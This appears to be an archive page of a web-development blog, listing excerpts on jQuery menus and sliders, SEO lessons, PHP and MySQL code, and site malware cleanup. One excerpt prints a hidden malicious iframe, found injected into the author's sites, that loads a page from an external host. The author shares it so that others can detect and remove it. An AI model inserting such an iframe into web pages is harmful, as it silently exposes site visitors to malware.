5
Feb

HTML5 Form Autocomplete Implementation

Technology is advancing very rapidly in the technology industry this last couple of years. A great and powerful new standard that was created and by which many of us developers are abiding already is HTML5. With this many opportunities came for us to be able to successfully create a user experience that is easily utilized […]

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2
Apr

Simple jQuery Drop Down Menu

There are many jQuery sliders created already. This is the one that I developed from scratch which only has the minimum needed features to work very light and efficiently on any type of web development project. You will need to have the original jQuery script attached to your page before adding this code and make […]

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18
Jan

Going Black Against SOPA / PIPA

I will be going black on Wednesday January 18, 2012 to protest the Stop Online Piracy Act (SOPA) and the Protect IP Act (PIPA). Along with other sites, my complete website / blog will be temporarily shut down with a 503 HTTP Status code to let the search engines know that the site will be back. I will […]

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18
Jan

Simple jQuery Slider

There are many jQuery sliders in the internet but many of them are really hard to understand. This slider is very basic and very easy to change to your specs. Just change the fade effect to the one of your preference and you are set. You can find more information about the different functions at the […]

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26
Apr

Lesson 4: Internal and External Linking

This is the fourth part of a series of lessons. On this lesson I will be explaining you the methods to do internal and external link campaigns. Linking is probably the most important factor at this time on ranking for a specified term. There is internal linking which refers to the linking within your domain. […]

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19
Apr

Lesson 3: On Page Optimization for SEO

This is the third part of a series of search engine optimization lessons. On this lesson I will be explaining you the methods to do the actual on page optimization. You will take what you have learned from past lessons and use it to create the proper tags for your pages. When Google analyses your […]

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11
Apr

Lesson 2: Pre-Production Process and Market and Keyword Analysis

This is the second part of a series of search engine optimization lessons. On this lesson I will start to explain you what I call the “Pre-Production” process of your campaign. At the start of each campaign one must do a market and keyword analysis research. Market Research is when one researches and evaluates the […]

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5
Apr

Lesson 1: Introduction to Search Engine Optimization (SEO)

SEO or Search Engine Optimization is the process of optimizing a web page or portal for search engines.  People are now spending 7 times more time on the Internet than on watching TV, what does this tell us as marketers. It tells us that we need to focus into online marketing, in which SEO is […]

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3
Oct

Shell or SSH Commands and Beginner 101 Course

Using Shell or SSH connection to interact with your Linux server could be the most powerful tool you can have. This is because when you connect via this interface you are actually working from inside your server and this gives you more power and control over whatever you are doing. To start off you need […]

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14
Aug

MySQL Database Interaction PHP Class

There are many ways out there to connect to a database, but there is only a few of them that are effective. This is the MySQL object that I use to connect to a database via PHP. You will find this class to be simple but very effective as it’s not overfilled, but it only […]

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14
Aug

Display your last Tweet from Twitter.com

Are you a big Twitter user, and would like to integrate your account into your site? Here is the code to display your last Tweet using the .xml file that is provided by Twitter. There is only one thing that needs to be changed out. which is the XML file address, you need to input […]

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Posted in PHP
8
Aug

Upload Files From a Form

Hello guys,  I decided to do a post on how to upload files from a simple HTML form into your server. First, you will need to set up this form with the proper headings, please see code below. <form enctype=”multipart/form-data” action=”uploads.php” method=”POST”> Choose a file to upload: <input name=”uploadedfile” type=”file” /><br /> <input type=”submit” value=”Upload […]

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Posted in PHP
3
Aug

Basic Content Management System

If you are a Web Developer like me, then you are always working from different locations, different machines, etc. You do not want to go and look for that client information every time to gain access via FTP to do a small change. There is where a good content management system comes in place. What […]

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18
Jul

Transfer a Large Database using MySQL Dump and a SHH Client

Have you needed to transfer a large database? One of an eCommerce Cart or of a big blog? phpMyAdmin only allow’s imports of databases of 2 mbs, if you fix the php.ini file you can get maybe 10 or 12 max on most servers. In order to move this you will need to do it […]

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16
Jul

Resolve GoDaddy Malware Issue

Hey guys, there has been a virus going around in the GoDaddy server which attacked a large number of domains. The script is encoded in PHP so it is not easily recognizable. If you have this problem just go to your PHP files and find this strip of code and erase it. Because this code […]

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12
Jul

Google Analytics eCommerce Tracking

Here is the script that needs to be added to the receipt or confirmation page, after the user has completed the sale. You will just need to add php inside of the script so that the content can be created dynamically per customer. One tip is to use a PHP loop. Here is the code: […]

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12
Jul

Creating custom 404 page

Everyone at some point has been browsing trough google or their favorite search engine and clicked on a link just to go into a white page with the words “404 Error” up on top. After this the only thing you have is to hit the “Back” button on your browser. As a user, this means […]

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12
Jul

New iFrame Malware Script

Hello guys, another one of the sites I manage has been infected and blocked by Google, here is the iFrame script that has the malicious virus in it just in case you guys have been attacked by the same person. <iframe src=”http://namegamestore.cn:8080/index.php” width=183 height=129 style=”visibility: hidden”></iframe> Thank You, Gilberto Cortez

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12
Jul

Basic AJAX connection using the POST method to retrieve content

Hello guys, I have been working on a project for school which used AJAX and I just wanted you guys to have this code for reference. This code basically makes a call to a PHP script which gets Zip Code information (city and state) and then adds them into your web page. I used a […]

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12
Jul

Simple JavaScript Image Gallery

Hello guys, I had to work on a website this weekend and I came up with an issue, I did not have any image JavaScript gallery that would just change the image and have a previous and next button. So I decided to create this. Here is a basic gallery, I have commented the script […]

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